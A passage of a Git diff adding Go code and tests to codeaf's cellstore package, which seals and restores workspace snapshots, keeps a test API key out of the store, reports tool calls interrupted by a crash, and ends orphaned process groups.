= 1\n") + commitAll(t, r.tree) + + if _, err := e.Seal(context.Background(), r.cell, TurnInfo{}); err != nil { + t.Fatal(err) + } + r.write("src/main.py", "MARKER_KEPT = 2\n") + commitAll(t, r.tree) + if _, err := e.Seal(context.Background(), r.cell, TurnInfo{Changed: []string{"src/main.py"}}); err != nil { + t.Fatal(err) + } + + if out := gitStatus(t, r.tree); out != "" { + t.Fatalf("the workspace has files we put there:\n%s", out) + } + if hits := grepStore(t, e.LocalDir(r.cell), fakeKey); len(hits) != 0 { + t.Fatalf("the secret is in the store: %v", hits) + } + if len(grepStore(t, e.LocalDir(r.cell), "MARKER_KEPT")) == 0 { + t.Skip("the store does not keep file text in the clear, so the absence above proves nothing here") + } + if got := r.guard.Env(r.cell); len(got) != 1 || got[0] != "OPENROUTER_API_KEY="+fakeKey { + t.Fatalf("next tool call env %v", got) + } + }) +} + +func grepStore(t *testing.T, dir, needle string) (hits []string) { + t.Helper() + filepath.WalkDir(dir, func(p string, d fs.DirEntry, err error) error { + if err == nil && d.Type().IsRegular() { + if raw, _ := os.ReadFile(p); bytes.Contains(raw, []byte(needle)) { + hits = append(hits, p) + } + } + return nil + }) + return hits +} + +// TestSeatGivesTheToolTheVaultEnv checks the return path: a process the seat +// runs sees the variable although no .env was in its sealed tree. +func TestSeatGivesTheToolTheVaultEnv(t *testing.T) { + r := newRig(t) + r.write(".env", "TOOL_TOKEN=abc123\n") + r.screen() + local := executor.Local{Root: r.tree, Class: executor.HostBound, Secrets: vaultEnvIn{r.guard, r.cell}} + res, err := local.Exec(context.Background(), executor.ExecRequest{Argv: []string{"sh", "-c", "printf %s \"$TOOL_TOKEN\""}}, nil) + if err != nil || string(res.Stdout) != "abc123" { + t.Fatalf("tool saw %q, %v", res.Stdout, err) + } +} + +type vaultEnvIn struct { + g Guard + c cell.Cell +} + +func (v vaultEnvIn) Env() []string { return v.g.Env(v.c) } + +// BenchmarkScreen10k is the guard's share of a seal on a 10,000-file tree: a +// walk when the caller cannot say what changed, one path when it can. +func BenchmarkScreen10k(b *testing.B) { + tree := b.TempDir() + fillTree(b, tree, 10000) + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + g := Guard{Home: b.TempDir(), Notify: func(string) {}, Ledger: keys.NewLedger()} + for name, changed := range map[string][]string{"walk": nil, "changed": {"src/d005/f005.txt"}} { + b.Run(name, func(b *testing.B) { + for i := 0; i < b.N; i++ { + if err := g.Screen(c, tree, stateDir(c), changed); err != nil { + b.Fatal(err) + } + } + }) + } +} + +func TestScreenWithLedgerStillCatchesAnEditedFile(t *testing.T) { + r := newRig(t) + r.guard.Ledger = keys.NewLedger() + r.write("a.py", "x = 1\n") + r.screen() + r.write("a.py", "x = '"+fakeKey+"'\n") + r.screen() + if got := r.policy().withheld; len(got) != 1 || got[0] != "a.py" { + t.Fatalf("withheld %v: an edited file must be read again", got) + } +} + +func commitAll(t *testing.T, dir string) { + t.Helper() + for _, args := range [][]string{{"init", "-q"}, {"add", "-A"}, {"-c", "user.name=t", "-c", "user.email=t@t", "commit", "-qm", "base"}} { + if out, err := gitIn(dir, args...); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } +} + +// gitStatus is `git status --porcelain` of dir. +func gitStatus(t *testing.T, dir string) string { + t.Helper() + out, err := gitIn(dir, "status", "--porcelain") + if err != nil { + t.Fatalf("git status: %v\n%s", err, out) + } + return strings.TrimSpace(out) +} + +func gitIn(dir string, args ...string) (string, error) { + cmd := exec.Command("git", args...) //codeaf:plumbing test fixture inspects the workspace with git + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} + +func TestWithheldNamesTheFilesTheGuardKeptOutAndTheFolderTheyAreIn(t *testing.T) { + r := newRig(t) + r.write("web/client/.env.production", "K="+fakeKey+"\n") + r.write("src/app.py", "print('hi')\n") + r.screen() + eng := Engine{Workspace: r.tree} + tree, paths, err := eng.Withheld(r.cell) + if err != nil || tree != r.tree || len(paths) != 1 || paths[0] != "web/client/.env.production" { + t.Fatalf("Withheld = %q, %v, %v", tree, paths, err) + } +} diff --git a/internal/cellstore/held.go b/internal/cellstore/held.go new file mode 100644 index 0000000000..1f455c1de1 --- /dev/null +++ b/internal/cellstore/held.go @@ -0,0 +1,85 @@ +package cellstore + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// heldName is a path the engine could not write when it restored a head, +// because this machine's file system keeps one name where the head has two. +type heldName struct { + Path string `json:"path"` + Reason string `json:"reason"` +} + +// noteHeld keeps each held name out of every later seal and writes it into the +// record, in the take that found it. The policy block is what keeps the name out +// and the record entry is what says so to a person, so they are written together; +// an engine that gives no reason gets the general one. +func noteHeld(c cell.Cell, policyDir string, held []heldName) error { + if len(held) == 0 { + return nil + } + policy, err := readPolicyAt(policyDir) + if err != nil { + return err + } + paths := make([]string, len(held)) + entries := make([]inventory.Withheld, len(held)) + for i, h := range held { + paths[i] = h.Path + entries[i] = inventory.Withheld{Path: h.Path, Reason: orDefault(h.Reason, reasonHeld)} + } + if err := policy.holding(paths).write(policyDir); err != nil { + return err + } + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.SetWithheld(func(path string) bool { return inRules(paths, path) }, entries) + }) +} + +func orDefault(s, fallback string) string { + if s == "" { + return fallback + } + return s +} + +// heldBefore is the names an earlier take set apart in this cell, with the +// reasons the record gave. A cell that has none, or a record that cannot be +// read, answers none: the names are then found again by the take that needs them. +func heldBefore(c cell.Cell, policyDir string) []heldName { + policy, err := readPolicyAt(policyDir) + if err != nil || len(policy.held) == 0 { + return nil + } + reasons := map[string]string{} + if store, err := inventory.Open(c.Root); err == nil { + for _, w := range store.Snapshot().Withheld { + reasons[w.Path] = w.Reason + } + } + out := make([]heldName, len(policy.held)) + for i, path := range policy.held { + out[i] = heldName{Path: path, Reason: reasons[path]} + } + return out +} + +// mergeHeld is the earlier names plus this take's, once each; this take's reason +// wins for a name both name. +func mergeHeld(earlier, now []heldName) []heldName { + byPath := map[string]heldName{} + var order []string + for _, h := range append(append([]heldName(nil), earlier...), now...) { + if _, seen := byPath[h.Path]; !seen { + order = append(order, h.Path) + } + byPath[h.Path] = h + } + out := make([]heldName, len(order)) + for i, path := range order { + out[i] = byPath[path] + } + return out +} diff --git a/internal/cellstore/helpers_test.go b/internal/cellstore/helpers_test.go new file mode 100644 index 0000000000..c74499f5ff --- /dev/null +++ b/internal/cellstore/helpers_test.go @@ -0,0 +1,128 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +func newCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + return c +} + +// realEngine is the Engine over the actual engine binary; the test skips when +// none resolves (set CODEAF_FURROW, or build with the binary embedded). +func realEngine(t *testing.T) Engine { return engineFor(t, t.TempDir()) } + +func realEngineB(b *testing.B) Engine { return engineFor(b, b.TempDir()) } + +func engineFor(t testing.TB, dataRoot string) Engine { + t.Helper() + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + return Engine{Binary: bin, DataRoot: dataRoot, Transport: current.make(t, bin)} +} + +// A transportCase is one way the real engine is reached; every real-engine +// test runs once per case, so the Store implementations answer to one suite. +type transportCase struct { + name string + make func(t testing.TB, bin string) Transport +} + +var transportCases = []transportCase{ + {"spawn", func(_ testing.TB, bin string) Transport { return Spawn{Binary: bin} }}, + {"daemon", daemonFor}, +} + +// current is the case the running subtest is in; realEngine reads it. +var current = transportCases[0] + +// forEachTransport runs body against every transport. Tests that use it do +// not run in parallel: they share current. +func forEachTransport(t *testing.T, body func(t *testing.T)) { + for _, tc := range transportCases { + t.Run(tc.name, func(t *testing.T) { + previous := current + current = tc + t.Cleanup(func() { current = previous }) + body(t) + }) + } +} + +// daemonFor is a daemon of the test's own, on a socket of the test's own, +// stopped when the test ends. +func daemonFor(t testing.TB, bin string) Transport { + dir, err := os.MkdirTemp("", "cs") + if err != nil { + t.Fatal(err) + } + d := Daemon{Socket: filepath.Join(dir, "e.sock"), Binary: bin} + t.Cleanup(func() { + _ = d.Stop(context.Background()) + time.Sleep(50 * time.Millisecond) // let it unlink its socket + os.RemoveAll(dir) + }) + return d +} + +// fakeEngine seals without spawning anything: it invents snapshot ids. +type fakeEngine struct { + mu sync.Mutex + calls [][]string +} + +func (f *fakeEngine) engine(t *testing.T) Engine { + return Engine{Binary: "engine", DataRoot: t.TempDir(), Run: f.run} +} + +func (f *fakeEngine) run(_ context.Context, _ string, _ []string, argv ...string) ([]byte, error) { + f.mu.Lock() + defer f.mu.Unlock() + f.calls = append(f.calls, argv) + return json.Marshal(map[string]string{"snapshot": fmt.Sprintf("%064x", len(f.calls))}) +} + +func (f *fakeEngine) count(verb string) (n int) { + for _, c := range f.calls { + if strings.Contains(strings.Join(c, " "), verb) { + n++ + } + } + return n +} + +// stubExec is an executor whose result and side effects the test controls. +type stubExec struct { + mu sync.Mutex + runs int + fn func(executor.ExecRequest) (executor.ExecResult, error) +} + +func (s *stubExec) Exec(_ context.Context, req executor.ExecRequest, _ func(executor.Chunk)) (executor.ExecResult, error) { + s.mu.Lock() + s.runs++ + s.mu.Unlock() + if s.fn == nil { + return executor.ExecResult{SideEffect: executor.Classify(req.Net)}, nil + } + return s.fn(req) +} diff --git a/internal/cellstore/interrupted.go b/internal/cellstore/interrupted.go new file mode 100644 index 0000000000..f771f0da2a --- /dev/null +++ b/internal/cellstore/interrupted.go @@ -0,0 +1,103 @@ +package cellstore + +import ( + "encoding/json" + "fmt" + "strings" +) + +// briefMax is how much of a call's arguments a line about it carries. +const briefMax = 60 + +// briefKeys are the argument names that say what a call is about, in the order +// they are looked for. +var briefKeys = []string{"command", "path", "file_path", "pattern", "url", "query"} + +// briefOf is the few words of a call's JSON arguments a person recognises it by, +// or nothing when no argument reads as one. +func briefOf(args []byte) string { + var fields map[string]json.RawMessage + if json.Unmarshal(args, &fields) != nil { + return "" + } + for _, key := range briefKeys { + var text string + if json.Unmarshal(fields[key], &text) == nil && strings.TrimSpace(text) != "" { + return clip(text) + } + } + return "" +} + +// commandOf is the command line a call's JSON arguments carry, or nothing for a +// call that runs no command. +func commandOf(args []byte) string { + var fields struct { + Command string `json:"command"` + } + if json.Unmarshal(args, &fields) != nil { + return "" + } + return fields.Command +} + +// clip puts text on one line and cuts it to briefMax. +func clip(text string) string { + line := strings.Join(strings.Fields(text), " ") + if r := []rune(line); len(r) > briefMax { + return string(r[:briefMax-1]) + "…" + } + return line +} + +// what is the call as one phrase: the tool, and its brief when it has one. +func (i Intent) what() string { + if i.Brief == "" { + return i.Tool + } + return i.Tool + ": " + i.Brief +} + +// said is the sentence a person reads about the call. +func (i Intent) said() string { + return i.what() + " — stopped when codeaf was killed — not run again. Ask me to run it again if you still want it." +} + +// interrupted is what the calls a crash left unfinished look like to a person +// (Lines), to the model (Note), and once both have been told (Close). +type interrupted struct{ rec *Recorder } + +// Lines is one plain sentence per interrupted call, oldest first. +func (v interrupted) Lines() []string { + var lines []string + for _, in := range v.rec.Incomplete() { + lines = append(lines, in.said()) + } + return lines +} + +// Note is the fact the model needs so it does not take the calls for done. It is +// empty when nothing was interrupted. +func (v interrupted) Note() string { + calls := v.rec.Incomplete() + if len(calls) == 0 { + return "" + } + var b strings.Builder + b.WriteString("These tool calls were running when codeaf was killed. Their results are unknown: each may have stopped part way or finished, and none was run again. Do not assume any of them succeeded; look at what they touch before relying on it, and run one again only if the person asks.") + for _, in := range calls { + fmt.Fprintf(&b, "\n- %s (%s)", in.what(), in.SideEffect) + } + return b.String() +} + +// Close counts every interrupted call as dealt with: the person and the model +// have both been told, and the cell can be rewound again. +func (v interrupted) Close() error { + for _, in := range v.rec.Incomplete() { + if err := v.rec.Resolve(in); err != nil { + return err + } + } + return nil +} diff --git a/internal/cellstore/l8_test.go b/internal/cellstore/l8_test.go new file mode 100644 index 0000000000..5a6e154f8d --- /dev/null +++ b/internal/cellstore/l8_test.go @@ -0,0 +1,125 @@ +package cellstore + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// treeDigest lists every path under root with its mode, link target and +// content hash, skipping the engine's own directories and the turn log the +// seal appends after it snapshots. +func treeDigest(t *testing.T, root string) []string { + t.Helper() + var lines []string + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + r, _ := filepath.Rel(root, path) + if err != nil || r == "." || skippedByDigest(r) { + if d != nil && d.IsDir() && skippedByDigest(r) { + return fs.SkipDir + } + return err + } + lines = append(lines, describe(t, path, r, d)) + return nil + }) + if err != nil { + t.Fatal(err) + } + sort.Strings(lines) + return lines +} + +func skippedByDigest(rel string) bool { + return rel == ".git" || rel == ".furrow" || rel == TurnsPath +} + +func describe(t *testing.T, path, rel string, d fs.DirEntry) string { + info, err := os.Lstat(path) + if err != nil { + t.Fatal(err) + } + switch { + case d.IsDir(): + return rel + "/ " + info.Mode().String() + case info.Mode()&fs.ModeSymlink != 0: + to, _ := os.Readlink(path) + return rel + " -> " + to + } + raw, _ := os.ReadFile(path) + sum := sha256.Sum256(raw) + return rel + " " + info.Mode().String() + " " + hex.EncodeToString(sum[:8]) +} + +func writeTree(t *testing.T, root string, files map[string]string, mode os.FileMode) { + t.Helper() + for name, body := range files { + p := filepath.Join(root, name) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), mode); err != nil { + t.Fatal(err) + } + } +} + +// L8 (local half): a sealed turn restores byte-for-byte, mode-for-mode, after +// the tree was damaged. The bucket-only half lands with the store in stage 1. +func TestL8SealedTurnRestoresByteIdentical(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + writeTree(t, c.Root, map[string]string{ + "src/main.go": "package main\n", + "src/deep/a/b/c.md": "# deep\n", + "empty": "", + "bin/blob": string([]byte{0, 1, 2, 0xff, 0xfe, 0}), + "café/naïve.txt": "unicode names\n", + }, 0o644) + writeTree(t, c.Root, map[string]string{"run.sh": "#!/bin/sh\necho hi\n"}, 0o755) + if err := os.Symlink("src/main.go", filepath.Join(c.Root, "link")); err != nil { + t.Fatal(err) + } + transcript, _ := c.Path(cell.TranscriptPath) + if err := os.WriteFile(transcript, []byte(`{"role":"user"}`+"\n"), 0o600); err != nil { + t.Fatal(err) + } + + sealed, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}) + if err != nil { + t.Fatal(err) + } + want := treeDigest(t, c.Root) + + damage(t, c.Root) + if got := treeDigest(t, c.Root); strings.Join(got, "\n") == strings.Join(want, "\n") { + t.Fatal("damage changed nothing; the test proves nothing") + } + if _, err := e.do(context.Background(), c, e.cellDir(c), restoreOp{Snapshot: sealed.Turn.ID}); err != nil { + t.Fatal(err) + } + if got := treeDigest(t, c.Root); strings.Join(got, "\n") != strings.Join(want, "\n") { + t.Fatalf("restored tree differs.\nwant:\n%s\ngot:\n%s", strings.Join(want, "\n"), strings.Join(got, "\n")) + } + }) +} + +func damage(t *testing.T, root string) { + t.Helper() + for _, p := range []string{"src", "empty", "link", "café"} { + if err := os.RemoveAll(filepath.Join(root, p)); err != nil { + t.Fatal(err) + } + } + writeTree(t, root, map[string]string{"stray.txt": "not sealed", "run.sh": "changed"}, 0o600) + _ = os.Chmod(filepath.Join(root, "bin/blob"), 0o600) +} diff --git a/internal/cellstore/law_test.go b/internal/cellstore/law_test.go new file mode 100644 index 0000000000..bfc0a0a748 --- /dev/null +++ b/internal/cellstore/law_test.go @@ -0,0 +1,69 @@ +package cellstore + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "path/filepath" + "strings" + "testing" +) + +// L2: only the harness commits. A Turn is a sealed commit, so exactly one +// function builds one: newTurn in turn.go. This walks every non-test file in +// the tree and refuses a Turn composite literal anywhere else. +func TestL2OnlyNewTurnConstructsATurn(t *testing.T) { + var offenders []string + root := filepath.Join("..", "..") + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil || (d.IsDir() && skipDir(d.Name())) || d.IsDir() || !strings.HasSuffix(path, ".go") || strings.HasSuffix(path, "_test.go") { + return err + } + offenders = append(offenders, turnLiterals(t, path)...) + return nil + }) + if err != nil { + t.Fatal(err) + } + if len(offenders) != 0 { + t.Fatalf("Turn built outside newTurn (law L2): %v", offenders) + } +} + +func skipDir(name string) bool { + return name == ".git" || name == "node_modules" || name == "target" || name == "third_party" +} + +func turnLiterals(t *testing.T, path string) []string { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + return nil + } + inCellstore := f.Name.Name == "cellstore" + var out []string + for _, decl := range f.Decls { + fn, isFn := decl.(*ast.FuncDecl) + allowed := isFn && fn.Name.Name == "newTurn" && inCellstore + ast.Inspect(decl, func(n ast.Node) bool { + if lit, ok := n.(*ast.CompositeLit); ok && !allowed && isTurnType(lit.Type, inCellstore) { + out = append(out, fset.Position(lit.Pos()).String()) + } + return true + }) + } + return out +} + +// isTurnType matches Turn inside this package and cellstore.Turn outside it. +func isTurnType(e ast.Expr, inside bool) bool { + switch x := e.(type) { + case *ast.Ident: + return inside && x.Name == "Turn" + case *ast.SelectorExpr: + pkg, ok := x.X.(*ast.Ident) + return ok && pkg.Name == "cellstore" && x.Sel.Name == "Turn" + } + return false +} diff --git a/internal/cellstore/log.go b/internal/cellstore/log.go new file mode 100644 index 0000000000..ee9050092e --- /dev/null +++ b/internal/cellstore/log.go @@ -0,0 +1,88 @@ +package cellstore + +import ( + "bufio" + "bytes" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "slices" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Entry is one turn of the chain with its receipt. +type Entry struct { + Turn Turn + Receipt Receipt + // Adopted is set on the entry that stands for a head this device received + // rather than sealed: the name of the device that sealed it, "" when the + // chat did not say. Such an entry has no receipt. + Adopted string + IsAdopted bool +} + +// Turns reads the cell's whole chain, oldest first. A cell that was never +// sealed has an empty chain. +func Turns(c cell.Cell) ([]Turn, error) { + raw, err := os.ReadFile(rel(c, TurnsPath)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var turns []Turn + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var t Turn + if err := json.Unmarshal(sc.Bytes(), &t); err != nil { + return nil, fmt.Errorf("read turns: %w", err) + } + turns = append(turns, t) + } + return turns, sc.Err() +} + +// Log is the chain with receipts, newest first. +func Log(c cell.Cell) ([]Entry, error) { + turns, err := Turns(c) + if err != nil { + return nil, err + } + slices.Reverse(turns) + entries := make([]Entry, 0, len(turns)+1) + if from, ok := Adopted(c); ok { + head, _ := Head(c) + entries = append(entries, Entry{Turn: head.Turn, Adopted: from, IsAdopted: true}) + } + for _, t := range turns { + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, fmt.Errorf("turn %s: %w", t.ID, err) + } + entries = append(entries, Entry{Turn: t, Receipt: r}) + } + return entries, nil +} + +// Resolve finds the one turn whose id starts with ref. +func Resolve(turns []Turn, ref string) (found Turn, err error) { + if ref == "" { + return found, errors.New("name a turn") + } + var hits []Turn + for _, t := range turns { + if strings.HasPrefix(t.ID, ref) { + hits = append(hits, t) + } + } + if len(hits) != 1 { + return found, fmt.Errorf("turn %q: %d matches in this cell", ref, len(hits)) + } + return hits[0], nil +} diff --git a/internal/cellstore/materialize.go b/internal/cellstore/materialize.go new file mode 100644 index 0000000000..9ec46bf45e --- /dev/null +++ b/internal/cellstore/materialize.go @@ -0,0 +1,35 @@ +package cellstore + +import ( + "context" + "fmt" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Capture snapshots the cell's folder as it stands and answers the snapshot +// id. It is not a turn: nothing is appended to the chain. The disk budget +// takes one just before it removes a working tree, so nothing the tree held +// since the last seal is lost. +func (e Engine) Capture(ctx context.Context, c cell.Cell) (string, error) { + out, err := e.do(ctx, c, e.cellDir(c), snapOp{Message: "materialization capture"}) + if err != nil { + return "", fmt.Errorf("capture: %w", err) + } + return parseSnapshot(out) +} + +// Restore writes the snapshot back into the cell's folder, byte for byte: +// only the named top-level paths, or the whole tree when none are named. A +// composed .cell/ is restored in place, chain files included, so this is for a +// snapshot that is the cell's newest state; a rewind uses restoreKeepingChain. +func (e Engine) Restore(ctx context.Context, c cell.Cell, snapshot string, paths []string) error { + return e.restore(ctx, c, snapshot, paths, e.cellDir(c)) +} + +func (e Engine) restore(ctx context.Context, c cell.Cell, snapshot string, paths []string, cellDir string) error { + if _, err := e.do(ctx, c, cellDir, restoreOp{Snapshot: snapshot, Paths: paths}); err != nil { + return fmt.Errorf("restore: %w", err) + } + return nil +} diff --git a/internal/cellstore/modelcall_test.go b/internal/cellstore/modelcall_test.go new file mode 100644 index 0000000000..8aa9b335d8 --- /dev/null +++ b/internal/cellstore/modelcall_test.go @@ -0,0 +1,84 @@ +package cellstore + +import ( + "context" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +func noted(model string, in, out int, micro int64) executor.ModelCall { + return executor.ModelCall{Model: model, Role: "turn", TokensIn: in, TokensOut: out, TokensCached: in / 2, CostMicroUSD: micro} +} + +func seatWith(t *testing.T, c cell.Cell, e Engine) sealed { + t.Helper() + rec, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{}) + if err != nil { + t.Fatal(err) + } + return sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} +} + +func toolCall(t *testing.T, s sealed) { + t.Helper() + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"x"}`)} + if err := s.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } +} + +// A turn with two model calls carries both in its receipt, and the next seal +// does not carry them again. +func TestReceiptCarriesEveryModelCallSinceThePreviousSeal(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + seat := seatWith(t, c, fake.engine(t)) + executor.NoteModelCall(seat, noted("m-a", 100, 10, 500)) + executor.NoteModelCall(seat, noted("m-b", 200, 20, 700)) + toolCall(t, seat) + head, _ := Head(c) + got := head.Receipt.ModelCalls + if len(got) != 2 || got[0].Model != "m-a" || got[1].CostMicroUSD != 700 || got[1].TokensCached != 100 || got[0].Role != "turn" { + t.Fatalf("model calls %+v", got) + } + toolCall(t, seat) + if head, _ = Head(c); len(head.Receipt.ModelCalls) != 0 { + t.Fatalf("second seal repeated %+v", head.Receipt.ModelCalls) + } +} + +// A rewind restores an earlier turn, and the chain still holds what the +// rewound-past turns spent. +func TestRewindKeepsSpendAlreadyPaid(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + seat := seatWith(t, c, e) + for i, micro := range []int64{100, 200, 400} { + executor.NoteModelCall(seat, noted("m", 10*(i+1), i+1, micro)) + writeTree(t, c.Root, map[string]string{"f.txt": string(rune('a' + i))}, 0o644) + toolCall(t, seat) + } + before := micros(t, c) + turns, _ := Turns(c) + mustRewind(t, e, c, turns[0].ID) + if after := micros(t, c); after != before || after != 700 { + t.Fatalf("spend %d before rewind, %d after", before, after) + } + }) +} + +func micros(t *testing.T, c cell.Cell) (sum int64) { + t.Helper() + all, err := ModelCalls(c) + if err != nil { + t.Fatal(err) + } + for _, m := range all { + sum += m.CostMicroUSD + } + return sum +} diff --git a/internal/cellstore/ops.go b/internal/cellstore/ops.go new file mode 100644 index 0000000000..b2d49951c6 --- /dev/null +++ b/internal/cellstore/ops.go @@ -0,0 +1,45 @@ +package cellstore + +// sealOp is the turn-end seal: attach the folder if the store has not seen it +// and snapshot it, labelled with the receipt id. +type sealOp struct { + Turn string `json:"turn"` + // Changed lists the paths to visit; nil walks the tree. + Changed []string `json:"changed"` +} + +func (sealOp) Verb() string { return "seal" } + +func (o sealOp) Args() []string { + args := []string{"--json", "hook", "turn-end", "--turn", o.Turn} + for _, p := range o.Changed { + args = append(args, "--changed", p) + } + return args +} + +// snapOp is a labelled snapshot that is not a turn. +type snapOp struct { + Message string `json:"message"` +} + +func (snapOp) Verb() string { return "snap" } + +func (o snapOp) Args() []string { return []string{"--json", "snap", "-m", o.Message} } + +// restoreOp writes a snapshot back, byte for byte. +type restoreOp struct { + Snapshot string `json:"snapshot"` + // Paths limits the restore to these top-level paths; empty is the tree. + Paths []string `json:"paths,omitempty"` +} + +func (restoreOp) Verb() string { return "restore" } + +func (o restoreOp) Args() []string { + args := []string{"--json", "rewind", o.Snapshot, "--yes"} + for _, p := range o.Paths { + args = append(args, "--paths="+p) + } + return args +} diff --git a/internal/cellstore/orphans.go b/internal/cellstore/orphans.go new file mode 100644 index 0000000000..2a8f08630b --- /dev/null +++ b/internal/cellstore/orphans.go @@ -0,0 +1,79 @@ +package cellstore + +import ( + "os" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// reapGrace is how long a group is given to leave after it is asked to, before +// it is made to. +const reapGrace = 2 * time.Second + +const reapPoll = 25 * time.Millisecond + +// GroupRec is a process group a call started and the process that started it, +// each with the identity it had then. A pid alone is not enough to act on later: +// numbers are handed out again, and ending a group that is somebody else's would +// destroy work that is not this cell's. +type GroupRec struct { + PGID int `json:"pgid"` + Start uint64 `json:"start"` + Owner int `json:"owner"` + OwnerStart uint64 `json:"owner_start"` +} + +// groupRec names a group this process just started, and this process as its owner. +func groupRec(pgid int) GroupRec { + self := os.Getpid() + return GroupRec{PGID: pgid, Start: processgroup.StartOf(pgid), Owner: self, OwnerStart: processgroup.StartOf(self)} +} + +// orphaned reports whether the process that started the group is gone. +func (g GroupRec) orphaned() bool { return !processgroup.Running(g.Owner, g.OwnerStart) } + +func (g GroupRec) group() processgroup.Group { return processgroup.Recorded(g.PGID, g.Start) } + +// reapOrphans ends the process groups that unfinished calls left running after +// the session that owned them died: asked to stop, then made to once the grace +// is over. It only ever names groups this log recorded, and a group whose owner +// still runs, or whose leader is no longer the process recorded, is not touched. +func reapOrphans(intents []Intent, grace time.Duration) { + live := liveOrphans(intents) + for _, g := range live { + _ = g.Terminate() + } + waitUntil(grace, func() bool { return len(stillAlive(live)) == 0 }) + for _, g := range stillAlive(live) { + _ = g.Kill() + } +} + +func liveOrphans(intents []Intent) []processgroup.Group { + var out []processgroup.Group + for _, in := range intents { + for _, rec := range in.Groups { + if g := rec.group(); rec.orphaned() && g.Alive() { + out = append(out, g) + } + } + } + return out +} + +func stillAlive(groups []processgroup.Group) []processgroup.Group { + var out []processgroup.Group + for _, g := range groups { + if g.Alive() { + out = append(out, g) + } + } + return out +} + +func waitUntil(limit time.Duration, done func() bool) { + for deadline := time.Now().Add(limit); !done() && time.Now().Before(deadline); { + time.Sleep(reapPoll) + } +} diff --git a/internal/cellstore/orphans_test.go b/internal/cellstore/orphans_test.go new file mode 100644 index 0000000000..e34d35e3ec --- /dev/null +++ b/internal/cellstore/orphans_test.go @@ -0,0 +1,212 @@ +package cellstore + +import ( + "context" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// startGroup starts a sleeping process as the leader of its own group and +// returns it with a channel that closes when it is gone. +func startGroup(t *testing.T) (*exec.Cmd, <-chan struct{}) { + t.Helper() + cmd := exec.Command("sleep", "60") //codeaf:plumbing test double for a tool's process + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + gone := make(chan struct{}) + go func() { _ = cmd.Wait(); close(gone) }() + t.Cleanup(func() { _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL); <-gone }) + return cmd, gone +} + +// deadProcess is an owner that no longer exists, with the identity it had. +func deadProcess(t *testing.T) (pid int, start uint64) { + t.Helper() + cmd, gone := startGroup(t) + pid, start = cmd.Process.Pid, processgroup.StartOf(cmd.Process.Pid) + _ = cmd.Process.Kill() + <-gone + return pid, start +} + +// crashWithGroup leaves the WAL a killed session would: an intent for a shell +// call, and the group it started, owned by owner. +func crashWithGroup(t *testing.T, wal string, group *exec.Cmd, owner int, ownerStart uint64) { + t.Helper() + w, _, err := OpenWAL(wal) + if err != nil { + t.Fatal(err) + } + in := Intent{V: walV, Tool: "bash", ArgsHash: "h", Started: 7, SideEffect: "local", Brief: "sleep 60"} + rec := GroupRec{PGID: group.Process.Pid, Start: processgroup.StartOf(group.Process.Pid), Owner: owner, OwnerStart: ownerStart} + if err := w.Begin(in); err != nil { + t.Fatal(err) + } + if err := w.Started(in, rec); err != nil { + t.Fatal(err) + } +} + +func reopen(t *testing.T, wal string) *Recorder { + t.Helper() + r, _ := newRecorder(t, newCell(t), &stubExec{}, wal) + return r +} + +func TestReopenEndsTheGroupItsDeadOwnerLeft(t *testing.T) { + group, gone := startGroup(t) + owner, ownerStart := deadProcess(t) + wal := filepath.Join(t.TempDir(), "wal") + crashWithGroup(t, wal, group, owner, ownerStart) + + reopen(t, wal) + + select { + case <-gone: + case <-time.After(5 * time.Second): + t.Fatal("the orphaned group was still running after reopen") + } +} + +func TestReopenNeverTouchesAGroupItsOwnerStillRuns(t *testing.T) { + group, 